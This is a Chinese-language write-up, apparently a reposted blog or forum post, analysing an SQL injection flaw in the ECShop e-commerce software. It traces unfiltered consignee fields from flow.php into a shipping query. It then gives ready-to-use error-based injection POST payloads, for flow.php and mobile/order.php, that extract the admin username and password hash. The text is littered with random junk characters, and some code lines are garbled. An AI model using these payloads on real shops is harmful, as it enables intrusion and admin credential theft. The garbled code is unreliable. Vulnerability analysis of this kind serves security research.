ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
6 {3 _% s$ x  s2 M
* f- p6 R( X$ j    /includes/lib_order.php

8 b; D$ m; T* W+ F6 o) M    关键函数：



01     function available_shipping_list($region_id_list)

' K4 k% G1 L& q2 h- c02 {
! `+ i8 ^& l( S/ G3 p
: w$ z* w% e8 e% Q; K03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( |& C; p. K2 y3 R
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
: S3 t3 H2 ?# r- Y2 G* t3 g
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
7 F- Z- ]" L$ w) _
& d, z2 ]7 R7 x  L09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
3 J2 }  c2 @+ L( X- S
# ~0 ^9 ?9 M8 p; K10   

& E( a! w" F0 s; [, f11     return $GLOBALS['db']->getAll($sql);
" ~3 n$ H3 G/ o) z4 G
) l5 e3 l# z9 m% A! o3 t. i5 y7 b12 }
: X+ ~  X8 f7 S: }: @. n
/ t6 U/ \! i& h$ x. i显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
, J7 K0 y6 }# G5 n& F2 u1 J  _ 第531行：   

# J: d7 e, [1 y5 W  S2 ~3 i1 $shipping_list     = available_shipping_list($region);
) f; A. s& m) R" t
: ?: E6 I8 B# J" T: g

* k+ {2 E, _1 N( `" ]$ y: R2 _

7 z) E  {$ B7 p1 J再对传入变量进行追踪：

& D  Y; M: M9 c第530行：   

. {4 V7 N4 h/ p3 i3 A: e5 F, a1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

5 W0 s3 P: h4 w$ T6 W
( u9 W8 Y* B1 x4 M$ e/ I6 T


2 M/ Y! {  ?, D$ U3 ]( q0 |0 p第473行：        
$ `3 d5 b# F" z; P/ I: P
1 $consignee = get_consignee($_SESSION['user_id']);

) R( L: x1 l1 {& Q6 F' P到了一个关键函数：
' k+ f* g. n) y5 x- A0 j2 S2 V- R
/includes/lib_order.php

9 A, @# \% s9 O+ W: R
0 X2 Y1 B( m! p

* B0 x* z# P5 i$ q. O- _
7 l( \, U1 b# l5 \01 function get_consignee($user_id)
1 v' q8 S' m) x
02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */
% T- U1 f$ v- H, b4 d
06   
. S# Z2 v9 g6 h& ?
07         return $_SESSION['flow_consignee'];

0 i- U- R, T% x08     }
) u, e( a2 J9 N
09     else
: }. h2 e# G! s6 O' x  [" I/ i1 s; d
- L+ F7 k% b) T1 t$ x" X: T10     {

& B% u. ~' b: |! [11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
0 P( Z+ R- I* C* V9 ^
13   

) O0 K# W3 a8 }. x0 k4 o, y8 U5 u14         if ($user_id > 0)

15         {
6 y" G: Q; P4 L9 U
* K+ L0 u+ e# z, l# a  n% U16             /* 取默认地址 */
/ Y8 G: ~4 x; S# A" i$ u% c7 r
: |- B8 h- a# F4 W4 R17             $sql = "SELECT ua.*".
( k0 q7 f7 Y4 \) F; U
3 D% x4 O  c2 g: Y; ]' X; R' |1 L18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( v, y8 w8 g' ?. N8 `
# p+ l6 q" e) J0 Q2 ~4 T19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

3 s$ T4 \) [- _+ T, |20   
. Z, ^% T. X8 N3 |  J
4 v& ]& t4 p4 S, r, b! m21             $arr = $GLOBALS['db']->getRow($sql);

7 }8 T: O2 B+ J' A22         }

23   

$ s2 |7 _. T3 V* a24         return $arr;
- T) w' H0 E: _' C( J
25     }
: c* m# e9 }( P1 p# {; G
# Z; w' `8 W9 ]7 k0 \+ D/ v6 J, q# O& N26 }

+ J& \  _# i+ _/ Q  i. k4 s& W! r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:
+ d5 h+ j$ |+ V2 S+ f
/ T0 ?, P- U3 N- f  U第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
/ R$ x0 w2 Y1 f1 L2 x7 i
这里对传入参数反转义存入$_SESSION中。

. y4 h/ ]/ e1 g1 H5 l

8 ^9 k+ ]$ Q- q7 M4 ?然后看下：

+ P# s0 q% q6 I  }3 I; o
4 x$ F8 h  ^' W  r! L/ t% `
% O9 F+ F+ D8 ^, p   

  A# t+ Q& D- }8 S% H9 ~01 $consignee = array(
) r) i( ]  D* f5 d
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

$ x# {) l+ }; a6 z) v/ u04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
: G8 L' y+ m: f  J2 K8 t7 A1 ]6 i
  A* I' [% m& y05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
6 S8 q4 M- \& l1 ]6 X
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
  N: Z9 Z  \# Q; N; T6 O
' F2 h6 A* G3 ~- @10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
+ ?9 ~* R! z0 _
' {( M7 }; W6 Y( ]" }* g' }  Y11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
0 h, e) _% X% V( g0 _
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
% k( L9 n; {" S
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

; Q3 D5 e, R, _7 J3 A; G8 C: v1 R14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
' Z, G2 W  T- ^# O0 S1 n; L3 K
7 T4 w5 \4 n+ ^* h  D15     );

9 A: P- S( c7 C& S! W4 M好了注入就这样出现了。
+ X. \0 I0 i8 A( n
==================
2 |8 g# a: j+ w( I+ g: A3 ^
注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106

4 i& E6 W7 F& W. o

1.首先需要点击一个商品加入购物车
$ W" Z+ l& ?5 y% t
2.注册一个会员帐号

' X, v# D# y- ~, S3.post提交数据


  ?+ `5 i/ f8 a( d7 W
1 http://127.0.0.1/ecshop/flow.php

2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
2 \" Z! D) V6 I. Z6 y( n& \* V4 p
我们搜寻关键函数function available_shipping_list()
/ w! H, Q0 X# P* a
$ c+ _, g6 e1 s; o在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
. y6 _+ i, x8 |* d
利用exp:

: b4 w9 F3 t0 N, q7 X% H6 f' ^( [1.点击一个商品，点击购买商标
+ p; v4 h! }% i. ]
2.登录会员帐号

4 }1 {6 I: i2 T3 ~" C2 M3.post提交：
. X8 N- ]' R  _5 _+ T+ g1 x9 j0 R
8 J' S6 J% w* Nhttp://127.0.0.1/ecshop/mobile/order.php
' O7 w: E+ T( x  {2 g/ ~+ T! o& A' S9 p
8 I2 j; I; v+ s" i
9 N1 r& b  @0 C5 v8 \5 K) ~* c
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. s1 Z, S4 z: C( L9 o
8 f5 h0 z: D4 k% ~9 D4 b